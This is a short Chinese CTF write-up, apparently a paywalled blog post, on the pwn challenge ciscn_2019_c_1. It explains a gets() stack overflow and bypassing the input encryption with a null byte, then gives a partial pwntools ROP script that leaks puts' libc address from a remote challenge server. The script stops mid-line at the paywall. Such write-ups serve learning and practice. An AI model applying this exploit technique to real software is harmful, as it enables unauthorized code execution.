记录下学习pwn的过程(感觉比re难多了,我太菜了)
查看保护

64位程序,64位程序 的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9,多的参数再通过栈传递
在encrypt函数里使用了gets函数,可能有栈溢出
发现对输入进行了加密
可以使用“\0”绕过
构造rop链,需要使用到rdi传递参数,又因为是ubuntu18所以需要栈对齐,使用到一个ret

from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25805)
pop_rdi_ret=0x400c83
elf=ELF("./ciscn_2019_c_1")
main_addr=elf.sym["main"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil("Input your choice!\n")
p.sendline("1")
payload="\0"+"a"*(0x50-1+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_addr=u64(p.recvuntil('\n',

本文记录了解决CISCN_2019_C_1挑战的过程,包括利用栈溢出漏洞进行ROP链构造,通过两次payload发送来泄露puts地址并最终实现远程代码执行。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



